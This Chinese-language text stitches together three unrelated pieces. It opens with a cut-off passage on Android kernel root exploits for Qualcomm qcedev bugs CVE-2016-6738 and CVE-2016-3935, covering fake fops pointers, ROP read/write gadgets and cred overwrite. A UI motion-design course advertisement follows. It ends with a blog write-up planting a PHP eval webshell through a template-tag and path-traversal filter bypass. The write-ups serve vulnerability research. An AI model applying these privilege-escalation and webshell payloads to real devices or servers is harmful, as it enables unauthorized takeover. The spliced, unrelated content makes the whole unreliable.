参数 src 就是 fake_ptmx_fops 加密后的值,我们将其地址放入  qcedev_cipher_op_req.vbuf.src[0].vaddr 里,目标地址 qcedev_cipher_op_req.vbuf.dst[0].vaddr  存放  ptmx_cdev->ops 的地址,然后调用 ioctl 触发漏洞,任意地址写漏洞触发后,目标地址  ptmx_cdev->ops  的值会被覆盖为 fake_ptmx_fops.

此后,对 ptmx 设备的内核fops函数执行,都会被重定向到用户层伪造的函数,我们通过一些 rop 片段来实现伪函数,就可以被内核直接调用。

比如,我们找到一段 rop 如上,其地址是 0xffffffc000671a58 其指令是 str w1, [x2] ; ret ;

这段 rop 作为一个函数去执行的话,其效果相当于将第二个参数的值写入第三个参数指向的地址。

我们用这段 rop 构造一个用户态函数,如下

9*8 ioctl 函数在 file_operations 结构体里的偏移,

*(unsignedlong*)(fake_ptmx_fops + 9 * 8) = ROP_WRITE;

的效果就是 ioctl 的函数实现替换成 ROP_WRITE, 这样我们调用 ptmx ioctl 函数时,最后真实执行的是 ROP_WRITE, 这就是一个内核任意地址写任意值函数。

同样的原理,我们封装读任意内核地址的函数。

有了任意内核地址读写函数之后,我们通过以下方法完成最终提权:

搜索到本进程的 cred 结构体,并使用我们封装的内核读写函数,将其成员的值改为0,这样本进程就变成了 root 进程。
搜索本进程 task_struct  的函数  get_task_by_comm 具体实现参考 github 的代码。

CVE-2016-3935漏洞利用

这个漏洞的提权方法跟 6738 是一样的,唯一不同的地方是,这是一个堆溢出漏洞,我们只能覆盖堆里边的 fops (cve-2016-6738 我们覆盖的是 .data 区里的 fops )

在我测试的版本里,k_buf_src 是从 kmalloc-4096 分配出来
的,因此,需要找到合适的结构来填充
kmalloc-4096 ,经过一些源码搜索,我找到了 tty_struct 这个结构

在我做利用的设备里,这个结构是从 kmalloc-4096 堆里分配的,其偏移 24Byte 的地方是一个  struct tty_operations 的指针,我们溢出后重写这个结构体,用一个用户态地址覆盖这个指针。

4128 + 536867423 + 7 *0x1fffffff = 632

溢出的方法如上,我们让 entry 的数目为 9 个,第一个长度为 4128, 第二个为 536867423 其他 7个为0x1fffffff

这样他们加起来溢出之后的值就是 632 这个长度刚好是  structtty_struct 的长度,我们用 qcedev_sha_op_req.data[0].vaddr[4096] 这个数据来填充被溢出的  tty_struct 的内容

主要是填充两个地方,一个是最开头的 tty magic, 另一个就是偏移 24Bype  tty_operations 指针,我们将这个指针覆盖为伪指针 fake_ptm_fops.

之后的提权操作与 cve-2016-6738 类似,

如上,ioctl 函数在 tty_operations 结构体里偏移 12 个指针,当我们用 ROP_WRITE 覆盖这个位置时,可以得到一个内核地址写函数。

 

 

同理,当我们用 ROP_READ 覆盖这个位置时,可以得到一个内核地址写函数。

最后,用封装好的内核读写函数,修改内核的 cred 等结构体完成提权。

参考 

android_run_root_shell

xairy

NewReliable Android Kernel Root Exploitation Techniques

 *

小李,把这个界面做个动态演示版给甲方看…

最近越来越多的设计师找到优设编辑反馈,说遇到了瓶颈,细问发现,这群设计师里不仅有刚入行的设计新人,也有多年经验的资深设计师,有绘画功底扎实的艺术学院毕业生,也有自学成才的非科班设计师。

无论经验丰富与否,科班出身与否,他们在成长路上都遇到了同一个绊脚石:动效设计。

为什么都想学习动效设计?

这两年随着设计规范(iOS/Android)的逐步沉淀,交互表达方式趋同已经成为不可逆转的形势,这就意味着,当产品给出需求,交互设计师梳理完信息架构,一个不会设计的程序员也能靠Material design 设计规范做出一个有模有样的App。正所谓:

就着规范走,配色不会丑;
规范在我手,设计不用愁。

当规范可以替代掉部分设计工作的时候,我们的核心竞争力在哪?当然,用户体验是永恒的话题,而动效,恰好成了提升用户体验的一个跳板。

微博一个点赞动效,让无数人有了点赞的欲望 —— 用设计提升用户活跃度。腾讯电脑管家的小火箭清内存动效,吸引了无数人去体验 —— 用设计提升下载量QQ小红点拖拽消失动效,风靡全国,红点恐惧症人群自发宣传 —— 用设计塑造口碑

不过可别以为只有大公司才需要做动效设计,小公司会用到动效的地方更多:

想实现一个动效

开发:你口述我听不懂,没有Demo?那你做一个出来给我

做了个LOGO

老板:多做一个动效展示版本的,用动效阐述下你的设计过程,光一个静态LOGO 多没格调

做一个加载控件

老板:加载控件要动起来才有趣味性,今晚加个班,把这个做了吧

画了个插画场景

老板:现在大家都喜欢看动态图,你让这个场景动起来才有意境,今晚辛苦加个班

画个团队肖像:

老板:人物都不动的啊,做个动效弥补一下,很快的,下班前给我

像这样:

是不是来回看了几次,感觉有趣多了?

但动效设计之所以成为本科学历般重要的职场敲门砖,更多的是由于它承担了UI设计中许多不可或缺的功能,即功能性动效。

1. 展现层级关系:

鸡爷作品

2. 提供视觉反馈,吸引注意力:

鸡爷作品

除此以外,增加愉悦度、给用户引导,告知界面变化状态等等,都是动效设计的功能之一。

现在回到刚开始的问题,为什么都想学动效设计?答案是动效在UI 设计扮演着至关重要的角色,不会动效的设计师,做不了动态演示,画不了动态场景,动效成为趋势之下,你的求职晋升会越来越艰难。

学了动效设计能收获什么?

口说无凭,让学员亲自来说是最好的证明。

有了动效设计的技能加成,求职3-5年的设计师也不胆怯,成功加薪20%!


给你的作品加点动效,薪资说不定也能涨4K!

其他学员的收获也超级大:


△ 以后做LOGO,做界面设计等等,都不用怕动态演示啦

△ 鸡爷教书之余不忘学习最新的设计趋势,并传授给同学们

△ 即使基础不行,在鸡爷的耐心教导下也可以掌握动效设计技能

△ 不仅教你做动效,连PS和AI 都有教,全能的鸡爷!

△ 零基础学动效?有专业幽默的鸡爷教你,还有班主任和助教耐心帮你解决问题,更有终身辅导!

评价这么好,学员的作品当然也相当不俗:

△ 学员作业

△ 学员作业


△ 学员作业

△ 学员作业

△ 学员作业

△ 学员作业

老师介绍

这么好评如潮的课程,老师当然是我们的动效设计老师鸡爷咯:

BeardChicken,圈内粉丝都戏称鸡爷,优设特约免费讲座分享讲师、站酷648 万超人气设计师、全国十佳UI 设计师。

他在全球知名的设计站点Dribbble上也拥有极高人气,围观地址→ dribbble.com/tczhang

2008年开始从事广告行业,2010年开始从事UI工作,曾任职阿里数娱(天天动听)设计总监,兼创业公司设计顾问。

常年在优设分享设计教程,并且培养了超500名优秀学员,毕业学员就职BAT、更有拜师学艺后考上清华交互研究生。

课程特色:

第一:优秀助教督促辅导

课程采用1位老师+N位助教模式,全方位为大家服务。

第二:完整的项目实操

老师将带领大家做完整的项目实操,课程与工作无缝对接。

第三:独有优设课堂体系

课程采用优设独有的考勤方式、作业评优方式来奖励认真上进的学员。

报名此课程你需要的是:

1、需要熟练PS,有界面设计基础;
2、上直播不缺课,有疑问随时请教老师;
3、一定要交作业!鸡爷对每个学员作业均一对一辅导。

上课方式:

通过QQ群屏幕分享以及CCtalk直播上课,有画面有声音,老师的电脑屏幕和操作都能看清,也可实时互动交流,平时是通过qq群和微信群交流。

老师都会把直播全过程录制下来,视频加密后放百度网盘分享出来,可长期反复观看,限一台电脑。

△ 图作者:小光老师

优设学员遍布以BAT为首的互联网公司,大课堂特建立“优设大课堂校友圈“。汇集了优设十多个课程的所有学员,享有不定期免费公开课、私单招聘发布、与上千位设计师交流等福利。

在校友圈,你可以接触这12个不同领域的大咖老师,并享受他们的公开课辅导。

名额有限,欲报从速

想跟着鸡爷学习的同学,AE动效设计特训营第六期9月15号马上就来啦,为期3个月的课程,让你在下半年快速提升核心竞争力!温馨提醒哟,这是今年最后一期了,名额有限,再不抓紧就得等明年啦。

真诚的献上价格:

有疑问可以通过以下QQ或者微信咨询客服妹妹噢~

请往下看↓↓↓

报名方式一:

添加小优微信号:youshemei1(验证:动效报名)

报名方式二:

联系娜娜QQ:1271488608(验证:动效报名)

如果暂时无法联系到客服,可以点击阅读原文到优设官方微店下单购买。

挖洞经验 | 记一次曲折的Getshell过程

*本文原创作者:三只小潴,本文属1024rd原创奖励计划,未经许可禁止转载

最近在挖某框架的漏洞,其中挖到一枚Getshell,挖的过程有点曲折感觉可以写篇文章总结一下,方便与各位大牛交流交流。

因为此框架有大量用户,并且此漏洞并未修复,故此隐去所有有关此框架的信息,连文章中出现的代码都是我自己另写的,重在思路,希望大家理解。

首先通过审计定位到可能导致漏洞的代码(路径:/edit/creat.php):


  $file = $_GP['file'];
  $viewFile = './setting/' . $file;
  if (!file_exists($viewFile)) {
      mkdirs(dirname($viewFile));
      file_put_contents($viewFile, '<!-- SETTING URL:setting /' . $file . ' -->');
  }

其中 $GP 是合并 $GET 和 $_POST 的变量。

可以看到写入的文件路径和写入的部分内容都是可控的,看到这里不禁露出了一丝笑容,没想到一枚 getshell 如此轻松。

好吧,先测试一下,把$file的值设置为:

<?php echo 1111; ?>.php

post 到 /index.php? control=edit&action=creat

(此框架是单入口)

预计生成的文件内容是:

<!-- SETTING URL:setting/<?php echo 1111;?>.php -->

好了,那访问一下生成的文件,URL:

http://test.com/edit/setting/%3C%3Fphp%20echo%201111%3B%20%3F%3E.php

右键查看一下源码,发现输出的内容是:

<!-- SETTING URL:setting/&lt;?php echo 1111;?&gt;.php -->

居然被过滤了? 回溯之前的代码,在 index.php 文件中发现代码:


  $_GP= array_merge($_GET, $_POST);
  $_GP = htmlEncode($_GP);
  $control = $_GP['control'];
  $action = $_GP['action'];
  $controls = array('basic', 'edit');
  $actions = array('index', 'creat');
  if (in_array($control, $controls) &&in_array($action, $actions)) {
      $file ="./$control/$action.php";
      include $file;
  } else {
      echo 'error';
  }

关键在开始的两行代码上,htmlEncode ? 搜索这个函数,找到这个函数的代码如下:


function htmlEncode($var) {
  if (is_array($var)) {
      foreach ($var as $key => $value) {
          $var[htmlspecialchars($key)] =htmlEncode($value);
      }
  } else {
      $var = str_replace('&amp;', '&', htmlspecialchars($var,ENT_QUOTES));
  }
  return $var;
}

结合起来,就是对 post 和 get 获取到的所有内容进行htmlspecialchars,所以才会出现上面所看到的尖括号被过滤的情况。

看到这里,脸上的笑容都消失了,哎呀,果然没那么容易。尖括号过滤了,那就没办法写入PHP 代码的解析标签了,想不到什么突破的办法,难道就这样放弃么?开始犯愁…

一直想着:过滤了尖括号怎么办?过滤了尖括号怎么办?过滤了尖括号怎么办……

那我能不能不用尖括号呢?不用尖括号能不能解析?要怎么才能解析?想到这里,突然就想到模板!这个框架的模板和大多数 MVC 的模板一样,使用大括号作为标记:


function view($var) {
      /*
          这里一系列的处理就不写了
          过程就是对模板中出现的伪代码进行处理
          这些做过 Web MVC 开发的都知道

          而伪代码的格式与常见的格式一样,用大括号把变量括起来,比如:{$var}
          当然还有一些 {if $var==xx}、{loop $var as $valu e} 等等这些

          其实这些处理的目的就是生成 PHP 可解析的代码
      */
      //假设解析后的代码文件存放在一个 tmp 目录里,而目录的路径赋值给了 $viewFile 变量
      include $viewFile;
}

这样就可以使用模板的标记 {} 来绕过尖括号 <> 的过滤,但是根据这个框架的路由协定,模板不能随便被包含,所以只能覆盖原有的模板。

按照这个思路,找一个有加载模板的功能,覆盖加载的模板,覆盖之后访问了就可以解析了。按照这个思路,找到一个加载了模板的功能,URL是:

/index.php? control=basic&action=index

代码路径在/basic/index.php,代码最后就有调用 view(‘index’);

加载的模板路径在:

/themes/basic/index.html

按照这些信息,应该构造 $file 的值为:

../../themes/basic/index.html

但是这样又有一个问题了,虽然构造这样的值可以覆盖原有的模板文件,但是写入的文件内容就是:

<!-- SETTING URL:setting/../../themes/basic/index.html-->

这样的话就没有写入需要的 Webshell 了,怎么办呢?!

根据 URL 的特性,./1.php 和 ./test/../1.php 访问的内容是一样的,都是 1.php 这个文件,但是 test 这个目录名我是可以随便写的,再根据模板伪代码的格式构造一个控制 $file 的测试 POC:

../../{php echo 1111;}/../themes/basic/index.html

(根据 view() 函数的代码,有一个{php }伪代码标签,处理的时候会替换为 <?php >。其实就算是没有这标签也可以用其他非组合的标签代替)

生成的文件内容为:

<!-- SETTING URL:setting/../../{php echo1111;}/../themes/basic/index.html -->

访问 URL:

/index.php? control=basic&action=index

右键查看源码,输出的内容为:

<!-- SETTING URL:setting/../../1111/../themes/basic/index.html -->

证明代码执行了,那构造一个包含一句话的 POC,按照上一个 POC 的思路,应该把 file 的值构造为:

../../{phpeval($_POST['w']);}/../themes/basic/index.html

但是访问后发现输出的内容为:

../../{ phpeval($_POST[&quote;w&quote;]); }/../themes/basic/index.html

想起 $file 的值是通过框架封装的 $GP 来获取的,$GP 的值都经过了 htmlencode,怎么办呢?! 根据 PHP 的特性,$_POST[‘w’] 获取值的时候可以把引号去掉,所以可以把 poc 改为:

../../{php eval($_POST[w]);}/../themes/basic/index.html

访问 URL:/index.php? control=basic&action=index ,给参数 w传值 echo 1111;

右键查看源码,内容为:

<!-- SETTING URL:setting/../../1111/../themes/basic/index.html -->

证明 post 的代码确实被执行了,到服务器上执行:

cd /var/www/html/themes/basic/
vim index.html

至此,getshell 完成,虽然过程有点艰辛,但还是拿下了。

最后总结一下:

1. 刚开始遇到过滤尖括号等的 HTML 字符的时候,利用了 MVC 模板中的伪代码代替绕过了

2. 遇到覆盖文件时候填写完整路径不能写入payload 的问题,使用了构造一个不存在的目录(目录的名称就是 payload)的方法进行 payload 的写入

3. 最后写入 payload 的时候发现也过滤了引号导致不能写入 $POST[‘w’] ,根据 PHP 的特性,去掉引号依然可以获取 w 下标的内容,所以替换为 $POST[w]

4. 写入最终构造好的 payload,Getshell 完成!

*本文原创作者:三只小潴,本文属1024rd原创奖励计划,未经许可禁止转载